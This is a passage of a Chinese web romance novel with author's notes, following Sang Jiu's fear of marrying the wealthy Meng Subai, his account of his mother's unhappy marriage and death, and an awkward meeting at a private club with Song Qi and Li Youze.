桑酒第一次玩皮划艇,海水倒映着身影,桨板在手里费力搅动着,她心始终怦怦跳个不停。 清澈湛蓝的水面仿佛照妖镜,将她胆怯又狡诈的心思照得一干二净。 原本说好要讲他母亲的故事,也因为这种微妙气氛的变化,没有再提起。 “逃避就等于拒绝。”俞三禾果断点破,“桑桑,你出息了啊,时隔四年再次把人吃干抹净,还不想负责?” “怎么办,我感觉自己越来越像一个渣女了!” 就好像游戏人间的海后,忽然碰上了纯情国王,他要给她封后加冕,她却临阵脱逃了。 桑酒双手抚着太阳穴,只觉头疼。 她万万没想到才在一起几天,就要面对这么严峻的事情。 孟苏白肯定不高兴了。 今天他们错过航班,乘的他私人飞机回海城。 一路虽然短暂,虽然他依旧温柔,将她送回酒馆又马不停蹄回了公司,虽然刚才他发了信息过来说晚上要加班,但桑酒就是能感觉到,他不开心了。 “为什么不答应呢?你不是很爱他吗?他想结婚,不正好?”俞三禾也不明白,“只要结了婚,就没有我说的那些问题了,你是他名正言顺的妻子,成为豪门太太,想想也挺好的。” 桑酒却高兴不起来:“三禾,你不觉得梦幻吗?我这样的人……这样的身份,凭什么成为他的妻子?做豪门太太?” 她想都不敢想,也不敢去想。 恋爱是两个人的事,可以是平等的,只讲究爱与不爱。 然而一旦踏入婚姻,面对的就不是两个人那么简单了。 更何况,结婚二字于他们而言,应该是这段关系结束的开始。 就跟三禾宋祁一样的结局,早已注定。 “为什么不可以?在我眼里,我们桑桑就是最厉害的女王!” “三禾兄,你说这话,良心不会痛吗?”桑酒被她逗得,笑容又有几分坦荡,“我知道我们差距在哪里,尤其是这次去了一趟港城,有了更加深刻的认知。” 贺伊琳那句话说得一点都没错——桑小姐并非这个圈子的人,学了也无处可用。 不属于自己的圈子,强行挤进去,也始终融入不了。 她的出生已经决定了,她没有那个富贵命。 “且不说豪门联姻尚且一堆塑料夫妻,就是寻常夫妻,又有几对圆满走到最后的?更别说像我们这样阶级相差巨大的,迟早有一天,爱意也会被消磨完的。” 婚姻给一个女人究竟带来了什么? 她眼前闪过妈妈、舅妈凄凉的身影,还有身边无数貌合神离各玩各的年轻夫妻,以及眼前强装潇洒的闺蜜。 生离死别,无论爱与不爱,都是满身伤痛。 “桑桑,你恐婚对不对?” 恐婚吗? “不可能,以前……我还想过,就这样跟李佑泽过一辈子,哪怕是结婚……” “那是因为你根本就不爱他。”俞三禾说,“因为不爱,所以不在乎结局。” 是这样吗? 所以…… “至于孟先生,你爱到患得患失,”俞三禾有些担忧,“桑桑,这样下去你会生病的。” 抑郁症治好了,也会复发不是吗? 桑酒的笑容又变得有些苦涩:“是啊,像我这样平凡普通又有病的人,怎么可能嫁给他呢,我在瞎操心什么呢。” 孟苏白一定是开玩笑的。 俞三禾看着她,忽然有些后怕,她怕桑酒和自己一样玩脱。 “桑桑,别多想,”俞她抱住桑酒,安慰她,“不要去想那些有的没的,活在当下就好。” “嗯,不想。”桑酒也拍了拍自己的脸颊,试图调整心态。 两人干了一杯,已经有了醉意的俞三禾指着夜空大喊:“管他要跟谁结婚!咱不想结婚就不结!咱就是要做渣女!只管谈,不管结!” 爱都爱了,想要抽身也没那么容易,还不如就…… 不如就轰轰烈烈,大爱一场- 孟苏白和宋祁赶过来时,便撞上这样一幅壮烈场景。 两个姑娘喝得醉醺醺,正指着天大骂男人。 “坚决不结婚!结婚的都没好下场!” “对!男人嘛,世上多的是,咱们接着找接着谈!” “狗屁的门当户对,我看就是借口!就是没玩够!” “渣男!” “渣男!” “对付渣男最厉害的是什么?” “我们要比他们更渣!” “真棒!桑桑记住,不要妄想结婚!不要动真感情!玩得开心,” …… 孟苏白一把将桑酒打横抱起,冷冷瞥了一眼宋祁,满眼嫌弃——管好你的女人! 可下一秒,俞三禾就对着宋祁拳打脚踢破口大骂,宋祁毫无还手之力扶着女人的腰,一副任凭处置的态度。 孟苏白摇了摇头。 差点忘了,那已经不是宋祁的女人了。 他抱着桑酒下了楼,也没管两人。 碰上吧台正忙着算账的桑月,也是礼貌绅士打着招呼:“我先带她走了。” 桑月目瞪口呆,却也习以为常了,傻愣着点了点头。 同意了。 孟苏白将人塞进后车座,吩咐云叔开车,降下挡板。 浑身酒气的桑酒挣扎着起来。 “我要回家,我不能去你家!” “为什么不能去我家?”孟苏白扣住她胡乱挥舞的手,将人压在怀里。 桑酒推他:“就是不可以!” “泱泱,你是在怕什么吗?”孟苏白虎口夹着她下巴抬起,质问。 桑酒红着眼眶,看着他,倔强地不说话。 “害怕跟我结婚?”孟苏白直接问了出来。 桑酒将脸埋在他颈窝:“孟苏白,我们不可能结婚的。” “为什么?”孟苏白身体一僵,又瞬间明白什么,他低下头吻了吻她的发,“泱泱,给我两年时间……不,一年就好。” “如果两年后,你没有自由呢?” “不会。”他不假思索。 “万一呢?”桑酒紧闭双眼,汲取他身上的气息,“孟苏白,你知不知道,我的家庭、我的身份,甚至我曾经生过的病,都不适合嫁入你们家的。” “那又怎样?”孟苏白浑身上下都紧绷着,下意识将她也抱得更紧,“泱泱,我说过,不是你不适合,是我也不适合。” “可我看了寰曜的财务评价,你很厉害,也许,你天生就适合……” 孟苏白知道她要说什么,直接吻住她柔软的唇,将她吻得意乱情迷,才冷静下来:“大嫂怀孕了,是个男孩,健康的男孩,孟家未来的继承人,不再会是我。” 桑酒听不懂这些事情,她只知道,那是很久很久以后的事情。 “孟苏白,我们不要想那么遥远的事情,”桑酒攀着他的脖颈用力回吻了上去,混着泪水的苦涩,“就珍惜好现在,珍惜我们相爱的每一刻,好不好?” 未来太过沉重,她怕自己承受不了- 这一晚,孟苏白的温柔几乎令人崩溃。 一开始,他尚且还顾忌着她未完全恢复的身体,克制隐忍着,仅用唇舌取。悦她,极尽所能,只想要她开心。 但桑酒被这种单方面的追逐亲得浑身燥热,体内酸软得仿佛有什么东西要爆炸,太难受了。 她脚趾蜷起,手指本能地攥着他的发,想将他拉上来,想亲吻他。 孟苏白的不给她机会,他躬身垂首,扣住她手腕不让乱动,自己却沉喘着气息,把她弄得天翻地覆。 桑酒也是口干舌燥到快哭了,挣扎着低声恳求他进来:“孟苏白,求求你了~” 她哭声太过娇媚,孟苏白动了恻隐之心,深吸一口,才依依不舍抬起脑袋,气息顺着那纤细的手臂吻了上来,低眸一瞬不错注视着她的表情。 他目光很淡,眼神却深不可测,深陷温柔时也淡定得可怕,只是不遗余力,一点一点确认她对自己的迷恋、贪婪,却没有到底。 “泱泱,叫声好听的来,我就满。足你。” 桑酒皱着鼻尖,什么叫满足她? 他可真正人君子! 可一开口,就是娇羞的一句:“苏白、苏白哥哥……” 孟苏白扣紧了她的玉颈,将人半抬起逼近,气息咬了上去:“继续。” “苏白哥哥。” 一定是酒意上头了,桑酒完全控制不住自己的嘴。 他现在叫她去杀人放火,她大概想的也是自己到底有没有学会点火。 她那样乖巧柔软,刚泡完热水澡,全身肌肤都泛着水嫩的粉,又因为这一番折腾热的,唇色更加娇媚,令人忍不住采撷。 孟苏白哪舍得让她去杀人放火,她只会在他身上点火折磨他。 “泱泱——” 孟苏白长叹一息,掌心紧贴着她滚。烫的脸庞,俯身用满是汁水的唇,去亲吻她的唇,唇舌间让人心魂一颤的味道,就好似一阵春雨过后的,所有玫瑰花瓣都被掰下,亲自碾碎在舌尖。 柔软裹着湿润含上来,他轻闭眼眸,眉心微动,声音却沉沉。 “怎么办,我这人很贪心,决定要跟你在一起的那一刻,就已经想过了一生。” 桑酒整个人蜷在他怀里,媚眼如丝,轻吐着香气。 神智迷离的这一刻,她也想过和他一生。 那一阵温热春雨倏然落下。 吸饱了雨汁的粉红蘑菇,也被猝不及防捏出了一汪清水。 “孟苏白,给我讲讲你母亲的故事吧。” 再次抵入时,孟苏白没有动。 他从背后环着她腰肢,抱着她慵懒靠在床头。 桑酒身体虽累极但人还不困,她惦记着他母亲的事情,白天两人心情不好,他没有开口本就觉得遗憾,这次如果再不问,也许以后他再也不会主动提起。 虽然还约了明早八点要去给桑冀和桑可儿送机,但她睡意全无,哪怕全身泛着满足后的虚软。 孟苏白垂眸,气息也很滚烫,目光温沉,亲吻着她的后颈,缓慢着结束这场温。存。 那些不堪的家族往事,此时此刻并不适合提起,他也不想让她知晓,生怕这样会将她推得更远。 他只挑了一些轻松的话题说。 桑酒便在一片软绵绵中听孟苏白低语。 苏闻溪,一个意境很美的名字。 是他的母亲—— 作者有话说:咳咳,Kings把咱桑桑伺候得太好了,以后可咋办~ 第62章 提起母亲, 孟苏白眼里又是另一种不一样的温柔。 “我名字里的苏,就是取自于她的姓氏,她是……我父亲……第二任妻子, 也是我大哥的中文家庭教师, 你不是一直想知道我为什么要去联合国工作吗?因为那是她曾经的梦想, 在嫁入孟家之前, 她是港中文大学环境科学的优秀毕业研究生, 她热爱自然热爱生命,梦想着足迹可以踏遍世界所有地方。” 然而谁又能想到,那样向往自由的女人, 也会被爱情蒙蔽了双眼, 会郁郁寡欢,会毫不犹豫结束自己的生命。 孟苏白永远都记得十岁那年的一个夜晚, 浑浑噩噩了大半年的苏闻溪忽然清醒过来, 她在他房间待到很晚,抱着她年轻时候的相册讲她自己的故事,里面突然掉出一张联合国环境规划署的工作邀请函,是她最喜爱的工作, 他不知道母亲为何没有去, 既然婚姻让她如此不幸福,她应该去追寻自己的自由。 苏闻溪只是温柔望着他:“Kings说得没错,既然这里如此不幸福, 不如去追寻自己的自由, 妈妈希望有朝一日, 你也可以离开这儿,去寻找你想要的自由,就做一个普通人就好, 像一棵参天大树一样,不用多优秀,健康快乐就好。” 最后,她向他要了一个晚安吻。 那时孟苏白虽然年仅十岁,却已是少年老成,心思成熟,在怔了一秒后,还是俯身亲了下母亲的额头,跟她道了一声晚安。 苏闻溪心满意足笑说:“我们Kings以后长大了,早晚安吻都要留给意中人。” 只是他怎么也没有想到,那是他最后一次亲吻他的母亲。 搜救员在海水里寻了三天,最后在那片沉静的雨林深处捞到她的遗体。 她挣不开婚姻的枷锁,最终选择将自己埋葬在最爱的大自然里。 孟苏白自责了很多年,那天他不应该出门游玩的,他应该留在家里,陪她好好说话,也许她会为他留在这个世界。 又在很久很久之后的一个夜晚,他在母亲房间整理遗物,再次看到那张工作邀请函,发现上面的日期,是在他出生前一年。 阿爷终于告诉他,原本苏闻溪是打算毕业去任职的,因为意外怀上他,才选择留下,嫁给孟宗铭。 那场婚礼也曾轰动整个港城,所有人都以为这会是一场美满幸福婚姻,灰姑娘嫁入豪门,多么令人羡慕。 谁又能预想到,那段感情仅仅维持了不到一年,孟宗铭就将新婚妻子抛之后脑。 孟宗铭本就是花花公子,早在第一任妻子去世之前,就与妻子的表妹苟合,别的只是因为被孟老爷子和妻子娘家的势力镇压着,好不容易妻子去世,他便暴露本性,因为玩得太花,被老爷子卸了职位,在国外流放三年才回来,只因孟氏到老爷子这一代,子孙单薄,只有这么一个儿子和三个女儿,本以为在外吃了三年苦头的孟宗铭会收心,带回来的准儿媳也深得他喜欢,老爷子一开心,便将家族集团产业交给了孟宗铭,自己去国外疗养身体。 殊不知老爷子这一走,正中孟宗铭下怀,他表面打造深情丈夫人设,实则在苏闻溪生下孟苏白没多久后,就堂而皇之带着别的女人登堂入室。 面对妻子的指责,孟宗铭也只是轻飘飘一句:“你不过是生了我孟氏继承人而已,还真当自己是豪门太太了?” 原来,所谓的爱情,不过是彻头彻尾的骗局。 所有相遇,都是阴谋。 孟苏白觉得母亲应该恨自己的,如果不是他的到来,她早已成为闪闪耀眼的科学家,而不是被人当精神病患者,关在那座海边牢笼。 但苏闻溪从未抱怨过他,甚至为了能够给他一个温暖的童年,甘愿忍受丈夫的不忠与冷漠,全身心倾注在孩子身上,包括那对被孟宗铭抛弃的亡妻子女——孟彦廷和孟嘉敏,这也是为什么,孟彦廷与孟苏白如此亲厚,也许她早就做好打算离开,但是在离开之前,想给唯一的儿子留下一点羁绊,不让他在这样肮脏不堪的牢笼里,孤身一人。 她也的确保护了孩子们十年的童年时光,却把自己折磨得生不如死,终于最后支撑不下,结束了这荒唐的一生。 她本应该有更好的人生。 如果她勇敢一点。 “那你……你父亲后来如何?” 怀里的人眼尾泛红,在他胸膛抽泣着。 桑酒为那样温柔善良的女人感到可惜,同时又想起同为负心汉的父亲桑志远,结局也算大快人心。 孟苏白没什么感情提了两句:“去年他因为意外中风,人在国外修养,和现如今第四任妻子生了一儿一女,对方也是港城商贾之家,一直对孟家企业虎视眈眈,阿爷当年也是不得已,才用联姻逼迫我回来接管家族企业。” 其实苏闻溪去世后,孟宗铭又相继娶了两任妻子,不过都是为了巩固了他自己公司的势力,第三任妻子,也就是Vicoria的母亲是一名美籍华裔,生下Vicoria后便与他和离回长居国外了,第四任妻子是个厉害角色,狠戾相比孟宗铭有过之而无不及,也让阿爷产生了危机。 而那场意外,不过是因为孟苏白在接任寰曜集团总裁位置后,接连从孟宗铭手里夺回了几乎所有孟氏集团股份,还顺带收购了他旗下几家中流砥柱的公司,直接把人气得中风了。 现如今,孟宗铭手里那点股份,已经对孟家产生不了任何威胁。 “可恶!老天爷只是让他中风还是太仁慈了!”桑酒还是忍不住打抱不平,又问他,“你当真放得下这些恩怨,彻底离开吗?” 孟苏白沉默了几秒:“其实没有什么放不放得下,我从小与他见面次数就不多,也从未将他当作父亲看待,于我而言,他只是个陌生人。” 想离开孟家,也只是因为对这种权利金钱的游戏厌恶倦怠了。 从前,他想替母亲去好好看看这个世界;如今,他只想和心爱的人去过平淡的生活。 桑酒抱着他的腰,只觉得心疼又惋惜。 心疼他的过往和自己一样悲惨,惋惜他明明有经世之才却甘愿平凡。 “孟苏白,我相信你,即便脱离了孟家,去任何领域,都是他们的荣幸,你一定会是最闪闪发亮的那个。” 桑酒从小就知道,是金子总会发光,只是迟早而已。 她出身差、学历差,混的社会圈子也差,但她从未放弃过学习的脚步,一直坚信自己可以改变人生,过上自己想要的生活,除了抑郁那一年。 如今,虽说不上大富大贵,但她也算在乱七八糟的人生中,梳理出一条属于自己的道路。 连她都可以做到,更何况孟苏白这样的天之骄子。 所以根本就不存在什么要她养,他不是孟家继承人,也是令人膜拜敬仰的存在。 孟苏白低头去寻她的唇:“泱泱,你知道为什么四年前,我第一眼就注意到你了吗?” “因为我漂亮呗!”桑酒仰头,眉眼弯弯。 孟苏白眉眼亦含笑,点点头:“确实漂亮。” 喝酒漂亮,骂前男友漂亮,挑衅人更是漂亮得令人眼前一亮。 “你身上有我从未见过的活力,即便身处暗巷,也会向上攀爬。” 他在她身上看到了苏闻溪的温柔善良,也看到了苏闻溪没有的勇敢洒脱,总觉得这样的女孩子,不应该受到委屈。 可孟苏白又觉得,和自己在一起后,她一直在受委屈。 他明白她的顾虑,知道那并不是自卑,而是一种清醒的认知和自我保护。 “答应我,泱泱。” “未来无论遇到什么事情,都要先好好爱自己。” 做个坏女人也好。 只要不伤害自己- 翌日,气温骤降。 仿佛一夜入冬。 桑酒第一次送人登机,开车回程时,多少还是有点伤感的。 “真奇怪,从小我就没跟他们说过几句话,怎么这一别,会特别难受呢,”副驾驶位,桑月也小声嘟囔,“突然想起一句话,人生就如一趟列车,每个人抵达的站点都不一样,也许这一站,就是我们最后一次告别了。” 桑酒露出一个浅淡的笑容:“别说得那么可怕,他们是去德国,又不是去火星,再说了,桑冀肯定会回来的。” 他们父母还在国内呢,虽然嘴上说着不会管,但怎么可能真不管。 再说了,也就是桑可儿跟乐乐不能回来而已,桑冀手里那个项目结束,他要调回来,也是随时可以的。 说起这个项目,桑酒又想起刚才,桑冀还她二十万的事情了。 虽然他说是项目前期的奖金,但桑酒还是怀疑,十有八九孟苏白特意关照过。 “那倒也是。”桑月老神在在点头,又说,“这件事情,还真的好好感谢孟先生,妈昨天还打电话问我,到底是哪路神仙帮忙追回来的,她说昨天村里借款的那些人,都收到本金了,甚至还有一点利息,虽然不多,但能追回本金已经是万幸,他们都挤在我们家,要跟你道谢送礼呢。” “你没说出来吧?” “我哪敢啊,”桑月是真的要憋不住了,“你跟孟先生的事情,真不告诉妈妈吗?” “为什么要告诉呢?又不是小孩子交朋友,还什么事情都跟家长汇报,万一以后分了呢?不是让她白操心?” “……”桑月觉得,她姐说得好像有几分道理,“那你还要跟……佑子分手?” “不分手难道脚踏两条船吗?”桑酒要被自己妹妹的脑回路笑逗了,“算了,你那脑袋瓜还是别想这么复杂的事情了,还是想想这周主题吧,我今天约了宋祁谈工作,只有明天有空画图,你最好今晚睡觉之前给我确定好。” “不用今晚,我现在就可以给你主题。”桑月也是灵光一闪。 “什么?” “离别。” 桑酒:“……” 倒也符合这一周冷空气来袭的氛围。 “姐,你今天怎么戴起眼镜了呀?”桑月完成一大难题后,靠在座椅上打量她,总觉得今天的姐姐特别帅。 一身干练飒爽的白色西装,慵懒挽起的发,高挺的鼻梁上架着一副金丝框眼镜,气场简直不要太强。 桑酒却被问得有些心虚,曲起食指推了推略微有些宽大的眼镜。 “干眼症犯了,防蓝光。” 实则是被孟苏白折腾得太晚了,他倒是生物钟准时六点就起来去公司了,她硬是一觉睡到八点,要不是桑月的连环电话,估计直接睡过头了。 匆匆忙忙的也来不及化妆,眼底泛着淤青,一看就是纵。欲。过度的后果。 桑酒也是实在没办法了,无意看到床头柜上孟苏白晚上看文件时常戴的眼镜,拿来遮挡一下。 桑月没有多想,只觉得最近姐姐越来越好看了,撑着下巴看得入迷。 看来,甜蜜蜜的恋爱果然养人。 车子是开的李佑泽的,桑酒把妹妹送回酒馆后,直接去了三禾牌馆,顺便看下俞三禾昨晚怎么样了。 然而电话打过去,却是无人接听,再给李佑泽电话,才知她昨晚都没回来。 桑酒猛然想起,昨晚两人喝醉了,孟苏白来接她时,似乎身边还跟着一个男人,她一时没注意,就被孟苏白抱走了。 李佑泽报了个工厂地址过来,她又驱车过去接他,那位拎壶冲罗满江也在。 “桑老板,我带李老板合伙开一个废钢回收工厂,你放心,保证年底挣个二十万!” 男人拍着胸脯保证,桑酒对这话也只是笑而不语。 回到车上,才对李佑泽说:“你也是成年人了,很多事情要自己斟酌,你要么就单干,要么就老老实实给人打工,别有一点小钱,就跟人合伙开公司,亲兄弟还要明算账呢,更何况你跟他只是喝了几次酒,打过几回牌,这就成兄弟了?” 李佑泽信誓旦旦:“我心里有数呢,虽然说是合伙开公司,但人老罗也没让我投资,只是帮忙运点货跑跑腿,就能分红,最近红眼病盯得紧,我跟三禾才刚出来,得避避风头,那要赚钱,总要找份事干吧。” “你那些乱七八糟的事情我也管不着,我只是想告诉你,自己清醒点,别头脑发热。” “知道知道,再说我的钱,不都在你那儿吗?” 桑酒深吸了一口气:“我总不能,一辈子都帮你管着。” 李佑泽心不在焉嗯了一声:“知道。” 这语气,让桑酒有点烦躁,像一拳打在棉花上。 还真像孟苏白所言,她就是在养儿子,一个永远也长不大的儿子,到底什么时候才能让人不操心? “李佑泽,”桑酒试探性提了一句,“等你过完二十五岁生日,我们回遂溪一趟吧。” 李佑泽转头看了她一眼,正要问怎么了,桑酒手机响起。 是宋祁的电话。 “桑老板,三禾在我这里。” 桑酒暗骂了一声靠。 “那麻烦宋先生把地址发来,我去接她。” 她方向盘一个调转,往市区开去。 “着什么急呢?祁哥又不会吃了她。” “你懂什么叫戒断吗?” “不懂,”李佑泽翻了个白眼:“我只是搞不明白你们女生,男欢女爱的,想那么多干啥。” 桑酒瞥了他一眼:“活该你没有女朋友。” 李佑泽也是气笑了:“桑酒,你这话说得就不厚道了,我没女朋友是我的原因吗?” 桑酒自知理亏:“行,我的问题,找个时间,我们公开吧,我说真的。” 李佑泽不吭声了,偏头望向窗外- 宋祁发来的地址是一家私人俱乐部。 想想也是,都要当新郎官了,他也不会蠢到把人带去家里。 但桑酒就是莫名有些火气。 明知三禾喝醉酒就不省人事,他不把人送回家就算了,还带来这种地方,到底什么意思? 是想旧情复燃么? 渣男! 跟在身后的李佑泽也感觉到她浑身散发的低气压,连忙劝说:“这是人家两个人的私事,你操什么心?再说了,前天还是人祁哥找关系把我们捞出来的。” 桑酒恍若未闻,脑子里只有俞三禾醉酒后哭得稀里哗啦的画面,她把手里的黑色包包丢给他,七公分的高跟鞋踩得哒哒响,气势汹汹往里面走。 李佑泽看她这走路都带风,大有一副要揍宋祁一顿的气势,也是摇了摇头,心中暗叹。 真不知道宋祁到底踩了她哪处雷。 到了包间门口,桑酒深吸一口气,扶了下镜框,也努力调整自己的情绪,随即,双手推厚重的玻璃门。 “宋先生,你这样一声不响从我酒馆把人带走,是不是有点过分了?” 她人未进门,话先撂下,目光冷冷抬眸望去。 包间十分宽敞透亮,干净整洁散发着一股淡淡的檀香,与上次李佑泽找的那家相比,高端太多,看着也正经,倒是让桑酒诧异了。 疑惑的目光扫过去的同时,房间里也有两道目光投来,一道带着早有预料的玩味——来自坐在一侧单人沙发上的宋祁。 而另一道…… 桑酒对上时,呼吸骤然停住。 孟苏白就坐在正中央的主沙发。 他姿态松弛地靠着椅背,修长的双腿随意交叠,手臂舒展地搭在沙发扶手上,黑色衬衫衬得他肤色冷白,在暖调灯光下像一块温润的玉,没有西装领带的束缚,那股与生俱来的矜贵,是刻在骨子里的从容,是无论身处何地都能自成一方天地的坦然。 桑酒傻傻盯着他。 孟苏白也这样看着门口的她,眼底原本漾着极浅的笑意,与早晨跟她道早安吻时,一模一样的温柔似水。 但下一秒,那抹笑意倏然冻结。 孟苏白的目光越过她的肩头,落在了紧跟在她身后,帮她提包的李佑泽身上。 刹那的死寂。 空气中流淌的金色光线也仿佛瞬间凝固。 孟苏白脸上没有什么特别的表情变化,只是那抹温和被彻底剥去,露出底下冰冷的本质。他下颌线微不可察地收紧,搭在扶手上的手,食指极轻地敲了一下。 目光却平淡至极看着两人。 “孟先生也在?”李佑泽也十分意外,又跟宋祁打了声招呼,“祁哥,叨扰了。” “桑老板好大的阵仗,”宋祁却是嘴角噙着笑,眼神在桑酒、孟苏白和李佑泽三人之间转了个来回,颇有些看好戏的意味,“这是来兴师问罪的?” 桑酒下意识略微低头,推了推鼻梁上的眼镜。 刚才火冒三丈的气焰,早已偃了一大半。 心里又暗骂了宋祁一句。 混蛋,竟然找人来镇场子! 无非就是吃定了,有孟苏白在,她不会大闹—— 作者有话说:欧耶!是修罗场![墨镜] 第63章 “宋先生说笑了。” 桑酒顶着孟苏白耐人寻味的目光, 往房间里走去。 “孟先生也在啊。” 气势已然弱了三分。 孟苏白浅笑:“恰好过来跟宋总谈事情,桑老板过来,是有事?” “接人, ”桑酒言简意赅, 转而看向宋祁, “三禾人呢?” 虽然气势弱了, 但好像有孟苏白在, 她也不用跟宋祁客气了,直接挑明来意。 身后李佑泽狗腿地关上门。 宋祁抬了抬下巴,示意她坐:“她昨晚折腾到很晚, 现在还睡着呢。” “!!!” 桑酒瞬间瞳孔地震, 脸也黑了下来:“你什么意思?” 她舌尖抵着上颚,几乎是压着怒气, 垂在腿边的手也握紧几分, 像个应激的小狐狸一样竖起了全身的毛,感觉下一秒就要爆发。 “宋先生,您下个月就要结婚了,为什么还要招惹她?” 孟苏白眉心微蹙, 目光在窄窄的视线里睨了宋祁一眼。 宋祁连忙抬起手解释:“桑老板放心, 我什么都没做,只是看她醉得厉害,又吐了一身, 才带过来让服务员帮忙换衣服, 我发誓, 我真的就只是在旁边守着。” 桑酒并没有因为他的解释而给好脸色,反而真切感受到了,这个男人对三禾真的一点感情都没有。 怎么说, 她也跟了他五年,就算是宠物,也会有感情,更何况是一个人。 虽然这个想法跟现实很矛盾,桑酒还是替俞三禾感到不值。 她语气也不耐烦了:“她人在哪儿?” 宋祁继续赔着笑:“桑老板不如先坐坐,等她休息好再走?正好,你不是要给我看方案吗?” 桑酒气归气,但也保持着理智,知道他说的话没作假。 一旁李佑泽也跟着打圆场:“对对,祁哥也是好心照顾三禾。” 他上前一步,提在手里的包挎到肩上,然后弯腰给宋祁递了一根烟:“说起来,上次的事情,还没亲自跟祁哥说声谢谢呢。” 宋祁接过烟,咬在嘴里,李佑泽立马掏出打火机帮忙点上。 “小事一桩。”宋祁吸了一口烟,又看向桑酒,“桑老板坐呀,要喝点什么?” 桑酒看了下手腕表时间,决定再给俞三禾半小时时间。 “不用了。” 她沉下气来,在宋祁对面的沙发坐下,刚好在孟苏白的右手边,离得不远也不近。 这种感觉和氛围也是奇妙得令人面红耳赤。 明明昨晚两人如鱼儿戏水一般黏在一起,近到负数的距离不分彼此熟得很,此刻却要像普通朋友一般保持距离装不熟,连眼神都不敢有交流,生怕没忍住露出一丝旖旎。 桑酒不确定宋祁知不知道自己现在跟孟苏白的关系,但肯定是多少明白一些的。 此刻又有李佑泽在,场面当真是尴尬到想死。 李佑泽倒也是个有眼力见的人,给宋祁点了烟后,转身又走向孟苏白那边,递了一根烟,声音诚恳。 “孟先生,我也要为上次的事情跟您道歉,说要请您吃饭,结果安排得乱七八糟,希望您见谅,下次,下次一定隆重请您吃顿饭。” 孟苏白瞥了眼他递过来的香烟,眼皮一掀,目光扫过他肩上黑色的女士包包,落向桑酒身上。 桑酒心虚地移开目光,恰好宋祁给她倒了一杯酒。 她一脸冷漠:“开车。” 如果不是她要开车的话,她肯定要跟宋祁拼酒掰扯掰扯,非把他灌趴下不可。 宋祁又笑着给她换上饮料。 桑酒端在手里,还未来得及喝,便听到孟苏白笑了一声。 “抱歉,女朋友管得严,不喜欢我抽烟。”说罢,又瞥向桑酒,“况且,这里有女士在。” 闻言,宋祁看了眼手里正燃着的香烟,连忙丢到烟灰缸里,狠狠灭了。 李佑泽却是一愣:“孟先生……有女朋友?” “很奇怪吗?”孟苏白挑眉,“李老板不也有女朋友?” 随着一句“女朋友”的出口,包间内的气氛陡然一变。 桑酒刚送到嘴边的饮料,也直接喷了出来。 她捂住唇,黏腻的液体喷在掌心,慌乱中,笔直修长的两指夹着两张纸巾递了过来。 “桑老板,吃东西就专心一点,不要分神,小心呛到。” 孟苏白慢条斯理的语调中带着几分调侃,低沉性感,好听到令人头皮发麻。 桑酒抬起左手去接纸巾,笑容却十分为难。 隔着轻薄的纸巾,孟苏白温热的指腹刮过她手背,激起肌肤上一片颤栗。 桑酒惊恐地抬眸,毫无意外撞上孟苏白暧昧又挑衅的目光,她悄悄瞪了他一眼,示意他不要乱来。 孟苏白只是微挑眉,转而看向还站着的李佑泽,态度意味不明。 “李老板,坐。” 李佑泽本来也想给桑酒拿纸巾的,但小茶几在孟苏白那侧,终是慢了一步,应声谢了一句,转身挨着桑酒坐下去。 氛围有点诡异,宋祁撑着下巴扫视了一圈,最后落在李佑泽身上。 摇了摇头。 可怜的男人。 被人撬了墙角还不自知!- 为了打破这诡异的气氛,桑酒从李佑泽那儿拿过包,掏出一份卷成圆筒的文件,递给宋祁。 “这是我的初步方案,有什么问题,您可以跟我说,反正我也不会改,报价就在后面,您要觉得不OK的话,现在也可以拒绝。” 闻言,一旁撑着下巴看好戏的孟苏白,微挑了下眉。 明明是躺在他怀里熬了两个下午做出来的策划方案,偏要嘴硬说得那般不负责任。 他的泱泱,当真是坏得可爱。 宋祁接过,却直接放到一旁,一脸无所谓:“我相信桑老板的为人。” “您还是看一眼吧。”桑酒虽是冷眼,但嘴角却挂着笑,“省得日后说我桑酒专宰熟人。” 价格虽然没有订得像三禾说的那样离谱,但她可没放过可以宰他的机会。 她还要光明正大,狠狠宰他! 殊不知她势在必得的小表情尽数落在孟苏白眼里,男人终于忍不住轻笑出声。 桑酒原本一张冷艳的脸,在对上他毫不掩饰的宠溺视线后,瞬间垮掉了。 她咬唇撇嘴,克制住笑意,偏头不去看他。 在孟苏白面前扮猪吃老虎,总觉得气势不够,气场不够,冷硬也不够,好像方方面面都被压制着,无法正常发挥。 宋祁明知故问:“孟总笑什么呢?” “没什么,”孟苏白换了只手,抵着下巴看桑酒:“只是觉得,桑老板挺有趣。” 他发现,自己可太爱桑酒刚才那股冷酷劲了,又飒又聪明,对付宋祁这样的人物,也是游刃有余。 宋祁:“……” 这心偏得,不要太明显。 偏偏有个傻子还在一旁笑呵呵。 他给李佑泽倒了一杯酒。 “孟总所言极是,既然桑老板不能喝酒,那就由李老板代替吧,今天孟总在,我们索性就不谈工作了吧,待会儿一起吃个饭再走。” 桑酒哪里还坐得住,正因为孟苏白也在,她现在只想赶快结束这修罗场。 “吃饭就不必了,我等会儿还有事,就不打扰二位了。”她看了眼时间,觉得差不多了,起身问道,“三禾在哪里休息?我去看看她。” 宋祁端起酒杯递给李佑泽,眼珠子转了转:“就在隔壁右手第一间,桑老板去陪陪也行。” 一旁李佑泽作势也要起来,却被他按下:“不着急,李老板不如陪我们喝一杯?” 李佑泽自然没有理由拒绝,只能坐下,接过宋祁倒满的酒杯:“好,今天陪孟先生跟祁哥喝个痛快。” 桑酒不知道宋祁又要玩什么把戏,但带着李佑泽去找三禾确实也不太合适,她便没说什么,看向孟苏白微微点了下头,无声告别。 走了两步,想了想,又折回身。 “宋先生,今天我既然来了,正好也有两句话想跟您说清楚。” 宋祁正跟李佑泽碰杯,闻言抬头:“桑老板直说无妨。” 桑酒扶了扶眼镜,语气有些冷然:“我希望以后,宋先生不要出现在三禾面前了。” 李佑泽忍不住开口:“桑桑,话别说那么……” “你闭嘴。”桑酒直接截断他的话,语气也有些不耐烦。 她内心知道,李佑泽无非是怕没了宋祁这棵保护树,以后在海城不好混,可他不知道,这样是趴在俞三禾身上吸血,迟早有一天,她会垮掉。 气息低沉间,孟苏白眸光半眯,盯着桑酒若有所思。 宋祁轻咳一声,淡淡纠正:“我们说过,即便分手也是朋友。” “那不过是面子话,宋先生还是不要当真了。” 桑酒也不卖关子了,若不是亲眼见证过俞三禾醉酒后哭得有多凄惨,她也要被骗到。 更何况,他根本不爱她,为什么不能彻底断了三禾的念头呢? 